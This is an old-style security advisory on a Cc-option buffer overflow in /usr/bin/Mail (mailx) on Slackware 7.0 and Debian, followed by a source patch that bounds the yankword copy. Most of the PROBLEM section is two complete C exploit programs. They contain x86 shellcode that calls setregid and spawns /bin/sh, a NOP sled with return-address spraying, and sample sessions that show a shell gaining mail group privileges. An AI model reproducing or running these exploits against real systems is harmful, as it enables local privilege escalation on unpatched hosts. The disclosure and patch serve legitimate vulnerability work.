COMMAND

    /usr/bin/Mail(x)

SYSTEMS AFFECTED

    Slackware 7.0, Debian

PROBLEM

    Paulo Ribeiro found following.

    /*
     * mail-slak.c (C) 2000 Paulo Ribeiro <prrar@nitnet.com.br>
     *
     * Exploit for /usr/bin/Mail.
     * Made specially for Slackware Linux 7.0.
     * Based on mailx.c by funkySh.
     *
     * OBS.: Without fprintf(stderr) is not possible to print the message.
     *
     * USAGE:
     * slack$ ./mail-slak
     * type '.' and enter: .
     * Cc: too long to edit
     * sh-2.03$ id
     * uid=1000(user) gid=12(mail) groups=100(users)
     */

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    char buffer[10000];
    char shellcode[] =
    "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31"
    "\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1"
    "\x0c\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
    "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
    "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

    unsigned long getesp(void)
    {
            __asm__("movl %esp,%eax");
    }

    int main(int argc, char **argv)
    {
            int x;
            long addr = getesp() - 18000;

            memset(buffer, 0x90, 10000);
            memcpy(buffer + 800, shellcode, strlen(shellcode));

            for(x = 876; x < 9998; x += 4)
                    *(int *)&buffer[x] = addr;

            fprintf(stderr, "type '.' and enter: ");

            execl("/usr/bin/Mail", "/usr/bin/Mail", "nobody", "-s",
                    "blah", "-c", buffer, 0);
    }

    It works only on Slackware...  for Debian, use the mailx.c.   Mail
    on Debian doesn't drop priviledges, exploit code included.

        funkysh@deb:~$ gcc -o mailx mailx.c ; ./mailx -7000
        Hit '.' to get shell..
        .
        Cc: too long to edit
        sh-2.03$ id
        uid=1014(funkysh) gid=8(mail) groups=100(users)

    The code:

    /*
     * ..just couse it is no longer secret :>
     *
     * mailx sploit (linux x86)
     * funkySh 3/07/99
     * tested under Slackware 3.6,4.0,7.0  offset = 0-500
     *              Debian  2.0r2,2.1,2.2  offset = -7000  ..ugh ;]
     *
     * buffer overrun in cc-addr option, gives "mail" group privileges
     * (if mailx is installed setgid mail).
     * Remember to define GID - it is different on Slack/Debian
     *
     */
    
    #include <stdio.h>
    
    #define GID    "\x08"  // Debian
    //#define GID    "\x0c"  // Slackware
    
    char code[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31"
                  "\xc0\xb0\x47\xcd\x80\x31\xdb\x31\xc9\xb3"GID"\xb1"
                   GID"\x31\xc0\xb0\x47\xcd\x80\xeb\x1f\x5e\x89\x76"
                  "\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
                  "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
                  "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
                  /* setregid + generic shell code */
    
    #define BUFFER 10000
    #define NOP 0x90
    #define PATH "/usr/bin/Mail"
    
    char buf[BUFFER];
    
    unsigned long getesp(void) {
       __asm__("movl %esp,%eax");
       }
    int main(int argc, char * argv[])
    {
      int i, offset = 0;
      long address;
      if(argc > 1) offset = atoi(argv[1]);
      address = getesp() -11000 + offset;
      memset(buf,NOP,BUFFER);
      memcpy(buf+800,code,strlen(code));
      for(i=876;i<BUFFER-2;i+=4)
        *(int *)&buf[i]=address;
      fprintf (stderr, "Hit '.' to get shell..\n");
      execl(PATH, PATH, "x","-s","x","-c", buf,0);
    }

SOLUTION

    This is  a pretty  straightforward fix.   It's against  the Debian
    package, version 8.1.1-10, but probably applies to other  affected
    versions.

    diff -uNr mailx-8.1.1/extern.h mailx-fixed/extern.h
    --- mailx-8.1.1/extern.h	Sun Jun  4 22:16:51 2000
    +++ mailx-fixed/extern.h	Sun Jun  4 22:20:09 2000
    @@ -80,7 +80,7 @@
     char	*username __P((void));
     char	*value __P((char []));
     char	*vcopy __P((char []));
    -char	*yankword __P((char *, char []));
    +char	*yankword __P((char *, char [], int));
     int	 Fclose __P((FILE *));
     int	 More __P((void *));
     int	 Pclose __P((FILE *));
    diff -uNr mailx-8.1.1/names.c mailx-fixed/names.c
    --- mailx-8.1.1/names.c	Sun Jun  4 22:16:51 2000
    +++ mailx-fixed/names.c	Sun Jun  4 22:23:12 2000
    @@ -108,7 +108,7 @@
 	    top = NIL;
 	    np = NIL;
 	    cp = line;
    -	while ((cp = yankword(cp, nbuf)) != NOSTR) {
    +	while ((cp = yankword(cp, nbuf, BUFSIZ)) != NOSTR) {
 		    t = nalloc(nbuf, ntype);
 		    if (top == NIL)
 			    top = t;
    @@ -171,10 +171,12 @@
      * Throw away things between ()'s, and take anything between <>.
      */
     char *
    -yankword(ap, wbuf)
    +yankword(ap, wbuf, maxsize)
 	    char *ap, wbuf[];
    +	int maxsize;
     {
 	    register char *cp, *cp2;
    +	int used = 0;
    
 	    cp = ap;
 	    for (;;) {
    @@ -201,10 +203,11 @@
 			    break;
 	    }
 	    if (*cp ==  '<')
    -		for (cp2 = wbuf; *cp && (*cp2++ = *cp++) != '>';)
    +		/* Pre-increment "used" so we leave room for the trailing zero */
    +		for (cp2 = wbuf; *cp && (++used < maxsize) && (*cp2++ = *cp++) != '>';)
 			    ;
 	    else
    -		for (cp2 = wbuf; *cp && !index(" \t,(", *cp); *cp2++ = *cp++)
    +		for (cp2 = wbuf; *cp && (++used < maxsize) && !index(" \t,(", *cp); *cp2++ = *cp++)
 			    ;
 	    *cp2 = '\0';
 	    return cp;